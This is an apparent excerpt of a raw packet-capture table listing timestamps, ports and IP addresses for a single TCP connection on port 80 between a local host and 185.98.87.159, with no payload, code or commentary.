Oct 29, 2021 20:29:19.218265057 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218270063 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.218287945 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218322992 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218333960 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.218353987 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218395948 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.218425989 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.218445063 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218477011 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218502998 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218525887 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218550920 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.218564034 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218570948 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218583107 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218604088 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.218607903 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.218681097 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270179987 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270217896 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270241022 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270265102 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270282030 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270298004 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270311117 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270318031 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270335913 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270355940 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270356894 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270379066 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270381927 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270401001 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270418882 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270422935 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270442963 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270459890 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270478010 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270484924 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270494938 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270515919 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270531893 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270533085 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270548105 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270555973 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270564079 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270582914 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270586014 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270598888 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270610094 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270616055 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270631075 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270642042 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.270651102 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.270697117 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.287540913 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287565947 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287616968 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287641048 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287661076 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287677050 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287692070 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287705898 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287734032 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.287738085 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287756920 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287805080 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.287847042 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287868023 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287887096 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287905931 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.287906885 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.287944078 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.287981987 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.288044930 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.322465897 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.322489977 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.322506905 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.322523117 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.322539091 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.322555065 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.322567940 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.322590113 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.322628021 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.327521086 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327549934 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327574015 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327589989 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327600002 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.327605963 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327621937 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327629089 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.327644110 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327663898 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327670097 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.327687979 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327692986 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.327708960 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327723980 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327734947 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.327744007 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327759981 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327775002 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.327886105 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.327915907 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.328111887 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328226089 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.328246117 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328269958 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328290939 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328311920 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.328313112 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328335047 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328356028 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328366041 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.328378916 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328388929 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.328460932 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328481913 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.328504086 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.367352009 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367386103 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367407084 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367429018 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367449999 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367471933 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367492914 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367506027 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.367513895 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367536068 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367552996 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.367557049 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367580891 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367603064 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367619038 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.367625952 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367646933 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367667913 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367671013 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.367688894 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367712021 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.367712975 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367738962 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.367796898 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.374725103 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.374771118 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.374792099 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.374814034 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.374850035 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.375199080 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.375221968 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.375278950 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407444954 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407489061 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407515049 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407541990 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407557011 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407567978 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407592058 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407596111 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407619953 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407623053 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407665968 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407670021 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407691956 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407717943 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407741070 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407744884 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407773018 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407798052 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407799006 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407825947 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407849073 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407850027 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407869101 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407891035 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407893896 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407918930 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407938004 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.407944918 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.407970905 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.408010960 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.408092022 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.408134937 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.408159018 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.408181906 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.408185959 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.408211946 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.419446945 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.419487000 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.419507980 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.419552088 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.419594049 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447266102 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447307110 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447336912 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447367907 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447386980 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447398901 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447422981 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447423935 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447443962 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447459936 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447467089 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447498083 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447515011 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447524071 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447545052 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447565079 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447583914 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447587013 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447616100 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447623014 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447639942 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447649956 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447724104 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447746038 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447762966 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447767973 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447813034 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447890043 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447921991 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447962046 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.447973967 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.447993994 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.448033094 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.459755898 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.459784031 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.459800005 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.459815979 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.459830046 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.459856987 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.459909916 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487356901 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487401009 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487426043 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487432003 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487447977 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487513065 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487543106 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487566948 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487608910 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487610102 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487632990 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487657070 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487680912 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487680912 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487705946 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487708092 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487731934 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487756014 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487759113 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487778902 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487802029 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487802982 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487828016 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487850904 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487853050 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487874985 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487898111 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487916946 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487921953 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487945080 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487952948 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.487972975 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.487989902 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.499878883 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.499917030 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.499949932 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.499974012 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.499991894 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.499998093 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.500015974 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.500056982 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527232885 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527259111 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527286053 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527299881 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527307034 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527327061 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527347088 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527355909 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527367115 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527385950 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527405977 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527407885 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527430058 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527441025 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527453899 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527475119 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527479887 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527497053 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527509928 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527519941 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527543068 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527559042 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527566910 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527587891 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527600050 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527611017 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527635098 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527645111 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527657032 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527709007 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527764082 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527803898 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527820110 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.527827978 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527849913 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.527879953 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.528198004 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.528225899 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.528248072 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.528258085 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.528273106 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.528302908 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.528341055 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.528423071 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567246914 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567277908 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567302942 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567327023 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567348957 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567373991 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567397118 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567420959 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567425966 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567445993 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567468882 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567485094 CEST	49825	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:19.567493916 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567517996 CEST	80	49825	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:19.567517996 CEST	49825	80	192.168.2.3	185.98.87.159
